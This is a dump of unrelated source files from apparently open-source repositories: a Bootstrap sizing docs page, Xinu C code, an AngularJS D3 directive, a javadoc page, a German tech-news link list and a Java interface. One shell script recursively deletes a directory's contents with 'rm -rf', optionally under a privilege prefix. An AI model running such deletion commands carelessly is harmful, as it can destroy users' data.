<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/introduction/">
Introduction
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/download/">
Download
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/contents/">
Contents
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/browsers-devices/">
Browsers & devices
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/javascript/">
JavaScript
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/theming/">
Theming
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/build-tools/">
Build tools
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/webpack/">
Webpack
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/accessibility/">
Accessibility
</a></li></ul>
</div><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/layout/overview/">
Layout
</a>
<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/layout/overview/">
Overview
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/layout/grid/">
Grid
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/layout/media-object/">
Media object
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/layout/utilities-for-layout/">
Utilities for layout
</a></li></ul>
</div><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/reboot/">
Content
</a>
<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/reboot/">
Reboot
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/typography/">
Typography
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/code/">
Code
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/images/">
Images
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/tables/">
Tables
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/figures/">
Figures
</a></li></ul>
</div><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/alerts/">
Components
</a>
<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/alerts/">
Alerts
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/badge/">
Badge
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/breadcrumb/">
Breadcrumb
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/buttons/">
Buttons
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/button-group/">
Button group
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/card/">
Card
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/carousel/">
Carousel
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/collapse/">
Collapse
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/dropdowns/">
Dropdowns
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/forms/">
Forms
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/input-group/">
Input group
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/jumbotron/">
Jumbotron
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/list-group/">
List group
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/modal/">
Modal
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/navs/">
Navs
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/navbar/">
Navbar
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/pagination/">
Pagination
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/popovers/">
Popovers
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/progress/">
Progress
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/scrollspy/">
Scrollspy
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/tooltips/">
Tooltips
</a></li></ul>
</div><div class="bd-toc-item active">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/borders/">
Utilities
</a>
<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/borders/">
Borders
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/clearfix/">
Clearfix
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/close-icon/">
Close icon
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/colors/">
Colors
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/display/">
Display
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/embed/">
Embed
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/flex/">
Flex
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/float/">
Float
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/image-replacement/">
Image replacement
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/position/">
Position
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/screenreaders/">
Screenreaders
</a></li><li class="active bd-sidenav-active">
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/sizing/">
Sizing
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/spacing/">
Spacing
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/text/">
Text
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/vertical-align/">
Vertical align
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/visibility/">
Visibility
</a></li></ul>
</div><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/extend/approach/">
Extend
</a>
<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/extend/approach/">
Approach
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/extend/icons/">
Icons
</a></li></ul>
</div><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/migration/">
Migration
</a>
<ul class="nav bd-sidenav"></ul>
</div><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/about/overview/">
About
</a>
<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/about/overview/">
Overview
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/about/brand/">
Brand
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/about/license/">
License
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/about/translations/">
Translations
</a></li></ul>
</div></nav>
</div>
<div class="d-none d-xl-block col-xl-2 bd-toc">
<ul class="section-nav">
</ul>
</div>
<main class="col-12 col-md-9 col-xl-8 py-md-3 pl-md-5 bd-content" role="main">
<h1 class="bd-title" id="content">Sizing</h1>
<p class="bd-lead">Easily make an element as wide or as tall (relative to its parent) with our width and height utilities.</p>
<p>Width and height utilities are generated from the <code class="highlighter-rouge">$sizes</code> Sass map in <code class="highlighter-rouge">_variables.scss</code>. Includes support for <code class="highlighter-rouge">25%</code>, <code class="highlighter-rouge">50%</code>, <code class="highlighter-rouge">75%</code>, <code class="highlighter-rouge">100%</code>, and <code class="highlighter-rouge">auto</code> by default. Modify those values as you need to generate different utilities here.</p>
<div class="bd-example">
<div class="w-25 p-3" style="background-color: #eee;">Width 25%</div>
<div class="w-50 p-3" style="background-color: #eee;">Width 50%</div>
<div class="w-75 p-3" style="background-color: #eee;">Width 75%</div>
<div class="w-100 p-3" style="background-color: #eee;">Width 100%</div>
<div class="w-auto p-3" style="background-color: #eee;">Width auto</div>
</div>
<div class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><div</span> <span class="na">class=</span><span class="s">"w-25 p-3"</span> <span class="na">style=</span><span class="s">"background-color: #eee;"</span><span class="nt">></span>Width 25%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"w-50 p-3"</span> <span class="na">style=</span><span class="s">"background-color: #eee;"</span><span class="nt">></span>Width 50%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"w-75 p-3"</span> <span class="na">style=</span><span class="s">"background-color: #eee;"</span><span class="nt">></span>Width 75%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"w-100 p-3"</span> <span class="na">style=</span><span class="s">"background-color: #eee;"</span><span class="nt">></span>Width 100%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"w-auto p-3"</span> <span class="na">style=</span><span class="s">"background-color: #eee;"</span><span class="nt">></span>Width auto<span class="nt"></div></span></code></pre></div>
<div class="bd-example">
<div style="height: 100px; background-color: rgba(255,0,0,0.1);">
<div class="h-25 d-inline-block" style="width: 120px; background-color: rgba(0,0,255,.1)">Height 25%</div>
<div class="h-50 d-inline-block" style="width: 120px; background-color: rgba(0,0,255,.1)">Height 50%</div>
<div class="h-75 d-inline-block" style="width: 120px; background-color: rgba(0,0,255,.1)">Height 75%</div>
<div class="h-100 d-inline-block" style="width: 120px; background-color: rgba(0,0,255,.1)">Height 100%</div>
<div class="h-auto d-inline-block" style="width: 120px; background-color: rgba(0,0,255,.1)">Height auto</div>
</div>
</div>
<div class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><div</span> <span class="na">style=</span><span class="s">"height: 100px; background-color: rgba(255,0,0,0.1);"</span><span class="nt">></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"h-25 d-inline-block"</span> <span class="na">style=</span><span class="s">"width: 120px; background-color: rgba(0,0,255,.1)"</span><span class="nt">></span>Height 25%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"h-50 d-inline-block"</span> <span class="na">style=</span><span class="s">"width: 120px; background-color: rgba(0,0,255,.1)"</span><span class="nt">></span>Height 50%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"h-75 d-inline-block"</span> <span class="na">style=</span><span class="s">"width: 120px; background-color: rgba(0,0,255,.1)"</span><span class="nt">></span>Height 75%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"h-100 d-inline-block"</span> <span class="na">style=</span><span class="s">"width: 120px; background-color: rgba(0,0,255,.1)"</span><span class="nt">></span>Height 100%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"h-auto d-inline-block"</span> <span class="na">style=</span><span class="s">"width: 120px; background-color: rgba(0,0,255,.1)"</span><span class="nt">></span>Height auto<span class="nt"></div></span>
<span class="nt"></div></span></code></pre></div>
<p>You can also use <code class="highlighter-rouge">max-width: 100%;</code> and <code class="highlighter-rouge">max-height: 100%;</code> utilities as needed.</p>
<div class="bd-example">
<img class="mw-100" data-src="holder.js/1000px100?text=Max-width%20%3D%20100%25" alt="Max-width 100%" />
</div>
<div class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><img</span> <span class="na">class=</span><span class="s">"mw-100"</span> <span class="na">src=</span><span class="s">"..."</span> <span class="na">alt=</span><span class="s">"Max-width 100%"</span><span class="nt">></span></code></pre></div>
<div class="bd-example">
<div style="height: 100px; background-color: rgba(255,0,0,0.1);">
<div class="mh-100" style="width: 100px; height: 200px; background-color: rgba(0,0,255,0.1);">Max-height 100%</div>
</div>
</div>
<div class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><div</span> <span class="na">style=</span><span class="s">"height: 100px; background-color: rgba(255,0,0,0.1);"</span><span class="nt">></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"mh-100"</span> <span class="na">style=</span><span class="s">"width: 100px; height: 200px; background-color: rgba(0,0,255,0.1);"</span><span class="nt">></span>Max-height 100%<span class="nt"></div></span>
<span class="nt"></div></span></code></pre></div>
</main>
</div>
</div>
<script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/vendor/popper.min.js"></script><script src="https://cdn.jsdelivr.net/npm/docsearch.js@2/dist/cdn/docsearch.min.js"></script><script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/vendor/anchor.min.js"></script>
<script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/vendor/clipboard.min.js"></script>
<script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/vendor/holder.min.js"></script>
<script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/src/application.js"></script>
<script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/src/ie-emulation-modes-warning.js"></script>
<script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/src/pwa.js"></script>
</body>
</html>
| davidscotson/moodle-tool_themetester | docs/4.0/utilities/sizing/index.php | PHP | gpl-3.0 | 23,330 |
/* ptinit.c - ptinit */
#include <xinu.h>
struct ptnode *ptfree; /* list of free message nodes */
struct ptentry porttab[NPORTS]; /* port table */
int32 ptnextid; /* next table entry to try */
/*------------------------------------------------------------------------
* ptinit -- initialize all ports
*------------------------------------------------------------------------
*/
syscall ptinit(
int32 maxmsgs /* total messages in all ports */
)
{
int32 i; /* runs through port table */
struct ptnode *next, *prev; /* used to build free list */
ptfree = (struct ptnode *)getmem(maxmsgs*sizeof(struct ptnode));
if (ptfree == (struct ptnode *)SYSERR) {
panic("pinit - insufficient memory");
}
/* Initialize all port table entries to free */
for (i=0 ; i<NPORTS ; i++) {
porttab[i].ptstate = PT_FREE;
porttab[i].ptseq = 0;
}
ptnextid = 0;
/* Create free list of message pointer nodes */
for ( prev=next=ptfree ; --maxmsgs > 0 ; prev=next )
prev->ptnext = ++next;
prev->ptnext = NULL;
return(OK);
}
| rhexsel/xinu-cMIPS | xinu/system/ptinit.c | C | gpl-3.0 | 1,044 |
'use strict';
angular.module('aurea')
.directive('d3Bars', function ($window, $timeout, d3Service) {
return {
restrict: 'EA',
scope: {
data: '=',
onClick: '&'
},
link: function (scope, ele, attrs) {
d3Service.d3().then(function (d3) {
var margin = parseInt(attrs.margin) || 20,
barHeight = parseInt(attrs.barHeight) || 20,
barPadding = parseInt(attrs.barPadding) || 5;
var svg = d3.select(ele[0])
.append('svg')
.style('width', '100%');
// Browser onresize event
window.onresize = function () {
scope.$apply();
};
// Watch for resize event
scope.$watch(function () {
return angular.element($window)[0].innerWidth;
}, function () {
scope.render(scope.data);
});
scope.$watch('data', function (newData) {
scope.render(newData);
}, true);
scope.render = function (data) {
// remove all previous items before render
svg.selectAll('*').remove();
// If we don't pass any data, return out of the element
if (!data) return;
// setup variables
var width = d3.select(ele[0]).node().offsetWidth - margin,
// calculate the height
height = scope.data.length * (barHeight + barPadding),
// Use the category20() scale function for multicolor support
color = d3.scale.category20(),
// our xScale
xScale = d3.scale.linear()
.domain([0, 31])
.range([0, width]);
// set the height based on the calculations above
svg.attr('height', height);
//create the rectangles for the bar chart
svg.selectAll('rect')
.data(data).enter()
.append('rect')
.attr('height', barHeight)
.attr('width', 140)
.attr('x', 110)
.attr('y', function (d, i) {
return i * (barHeight + barPadding);
})
.attr('fill', function (d) {
return color(d.value);
})
.attr('width', function (d) {
return xScale(d.value);
});
var baseSelection = svg.selectAll('text');
baseSelection
.data(data)
.enter()
.append('text')
.attr('font-family', 'monospace')
.attr('fill', '#000')
.attr('y', function (d, i) {
return i * (barHeight + barPadding) + 15;
})
.attr('x', 15)
.text(function (d) {
return d.name;
});
baseSelection
.data(data)
.enter()
.append('text')
.attr('font-family', 'monospace')
.attr('fill', '#fff')
.attr('y', function (d, i) {
return i * (barHeight + barPadding) + 15;
})
.attr('x', 114)
.text(function (d) {
return d.value > 0 ? d.value : '';
});
};
});
}
};
}); | apuliasoft/aurea | public/js/directives/d3.js | JavaScript | gpl-3.0 | 4,457 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_17) on Thu Oct 24 15:10:37 CEST 2013 -->
<title>UdpListener</title>
<meta name="date" content="2013-10-24">
<link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="UdpListener";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/UdpListener.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../com/veraxsystems/vxipmi/transport/Messenger.html" title="interface in com.veraxsystems.vxipmi.transport"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../com/veraxsystems/vxipmi/transport/UdpMessage.html" title="class in com.veraxsystems.vxipmi.transport"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../index.html?com/veraxsystems/vxipmi/transport/UdpListener.html" target="_top">Frames</a></li>
<li><a href="UdpListener.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">com.veraxsystems.vxipmi.transport</div>
<h2 title="Interface UdpListener" class="title">Interface UdpListener</h2>
</div>
<div class="contentContainer">
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Known Implementing Classes:</dt>
<dd><a href="../../../../com/veraxsystems/vxipmi/sm/StateMachine.html" title="class in com.veraxsystems.vxipmi.sm">StateMachine</a></dd>
</dl>
<hr>
<br>
<pre>public interface <span class="strong">UdpListener</span></pre>
<div class="block">An interface for <a href="../../../../com/veraxsystems/vxipmi/transport/UdpMessenger.html" title="class in com.veraxsystems.vxipmi.transport"><code>UdpMessenger</code></a> listener.</div>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method_summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span>Methods</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><strong><a href="../../../../com/veraxsystems/vxipmi/transport/UdpListener.html#notifyMessage(com.veraxsystems.vxipmi.transport.UdpMessage)">notifyMessage</a></strong>(<a href="../../../../com/veraxsystems/vxipmi/transport/UdpMessage.html" title="class in com.veraxsystems.vxipmi.transport">UdpMessage</a> message)</code>
<div class="block">Notifies listener of the UDP message that was received.</div>
</td>
</tr>
</table>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method_detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="notifyMessage(com.veraxsystems.vxipmi.transport.UdpMessage)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>notifyMessage</h4>
<pre>void notifyMessage(<a href="../../../../com/veraxsystems/vxipmi/transport/UdpMessage.html" title="class in com.veraxsystems.vxipmi.transport">UdpMessage</a> message)</pre>
<div class="block">Notifies listener of the UDP message that was received.</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>message</code> - - message received</dd></dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/UdpListener.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../com/veraxsystems/vxipmi/transport/Messenger.html" title="interface in com.veraxsystems.vxipmi.transport"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../com/veraxsystems/vxipmi/transport/UdpMessage.html" title="class in com.veraxsystems.vxipmi.transport"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../index.html?com/veraxsystems/vxipmi/transport/UdpListener.html" target="_top">Frames</a></li>
<li><a href="UdpListener.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| zhoujinl/jIPMI | doc/com/veraxsystems/vxipmi/transport/UdpListener.html | HTML | gpl-3.0 | 7,977 |
* [Wie ihr eurere Ansible Provisionierung schneller macht.](https://opensource.com/article/19/3/ansible-performance)
* [RedoxOS wurde in der Version 0.5 veröffentlicht.](https://www.phoronix.com/scan.php?page=news_item&px=Redox-OS-0.5-Released)
* [Ach du Scheiße, Überwachung, Vermessung und Verblödung sind auf dem Vormasch.](https://netzfrauen.org/2019/03/25/appepidemie/) - Lernt euch selbst und eurer Einschätzung zu vertrauen.
* [Die Bevölkerung Europas hat verloren und die Konzerne ohne Herz gewonnen - Artikel 13 ist jetzt offiziell erlaubt.](https://blog.fefe.de/?ts=a264d3bd)
* [Puppy Linux wurde in der Version 8.0 veröffentlicht.](https://www.pro-linux.de/news/1/26905/puppy-linux-80-ver%C3%B6ffentlicht.html)
* [RaspberryPi? Warum mal nicht ein NetBSD drauf installieren?](https://opensource.com/article/19/3/netbsd-raspberry-pi)
* [Warum will Apple und Google jetzt Kreditkarten machen? Zum einen weil man so noch mehr Daten aggregieren kann und zum anderen wegen 25 Prozent effektiver Jahreszins.](https://blog.fefe.de/?ts=a267100c)
* [Deswegen wird in Deutschland kein Breintbandinternet ausgebaut, da schützt uns der Staat vor Straftaten!](https://blog.fefe.de/?ts=a2670fc8)
* [3.6 Milliarden Euro Umsatz und 686 Millionen Euro Strafe? Positive Billanz würde ich sagen ... ach und die Strafen sind zu niedrig wenn Konzerne aus Gewinngründen mit dem Leben spielen.](https://blog.fefe.de/?ts=a2677bc2)
* [Proxmox Mail wurde in der Version 5.2 veröffentlicht.](https://www.pro-linux.de/news/1/26910/proxmox-52-mail-gateway-fertiggestellt.html)
* [LVFS wird ein Projekt der Linux Foundation :-).](https://www.pro-linux.de/news/1/26908/lvfs-wird-zu-einem-projekt-der-linux-foundation.html)
* [Bayer und Monstanto sind jetzt weniger Wert als vor ihrer Fustion, macht euch keine Sorgen, der Steuerzahler zahlt dieses Problem.](https://blog.fefe.de/?ts=a265dcb7)
* [Proton wurde in der Version 4.2 veröffentlicht.](https://www.phoronix.com/scan.php?page=news_item&px=Valve-Proton-4.2-Released)
* [Flatpak wurde in der Version 1.2.4 veröffentlicht.](https://www.phoronix.com/scan.php?page=news_item&px=Flatpak-1.2.4-Released)
* [Cisco fixed ein Exploit indem sie einen User Agent blacklisten.](https://blog.fefe.de/?ts=a262bcdf)
* [N26 ist so kaputt.](https://blog.fefe.de/?ts=a2623284)
* [Aktuelles aus dem Netzwerk Freiberg im April 2019](https://bio-erzgebirge.de/wp/?p=18048)
* [Der Staats erlaubt sich in deine Wohnung einzubrechen um den Staatstrojaner zu installieren.](https://blog.fefe.de/?ts=a263078d)
* [Nicht nur Verschlüsselung, sondern auch TRIM, wird es im ZOL 0.8 kommen.](https://www.phoronix.com/scan.php?page=news_item&px=ZFS-On-Linux-TRIM-Lands) - Das Release wird ein Fest!
* [JIT kommt in PHP 8.0.](https://www.phoronix.com/scan.php?page=news_item&px=PHP-8-JIT-Approved)
* [Wow, mehr als eine Million Menschen in Japan schließen sich zu Hause ein, haben keine Arbeit und entziehen sich dem Leben.](https://blog.fefe.de/?ts=a25e0aa7)
* [Roundcube wurde in der Version 1.3.9 veröffentlicht.](https://roundcube.net/news/2019/03/31/update-1.3.9-released)
* [Nein? Doch! Oh? Wie erwartete sterben nach den Insekten jetzt auch die Vögel, die bisher von Insekten gelebt haben.](https://blog.fefe.de/?ts=a25e4767)
| stevleibelt/net.bazzline.artodeto | link/2019/calendar_week/13.md | Markdown | gpl-3.0 | 3,253 |
mkdir -p "$1" && $2 rm -rf "$1"/* && mkdir -p "$3"
| Wyliodrin/wyliodrin-app-server | source/libraries/project/run.sh | Shell | gpl-3.0 | 51 |
package com.softech.ls360.lms.api.proxy.service;
import com.softech.vu360.lms.webservice.message.lmsapi.serviceoperations.user.AddUserResponse;
import com.softech.vu360.lms.webservice.message.lmsapi.serviceoperations.user.UpdateUserResponse;
import com.softech.vu360.lms.webservice.message.lmsapi.types.user.UpdateableUser;
import com.softech.vu360.lms.webservice.message.lmsapi.types.user.User;
public interface LmsApiUserService {
AddUserResponse createUser(User user, Long customerId, String customerCode, String apiKey) throws Exception;
UpdateUserResponse updateUser(UpdateableUser updateableUser, Long customerId, String customerCode, String apiKey) throws Exception;
}
| haider78github/apiProxy | LmsApiProxy/src/main/java/com/softech/ls360/lms/api/proxy/service/LmsApiUserService.java | Java | gpl-3.0 | 685 |
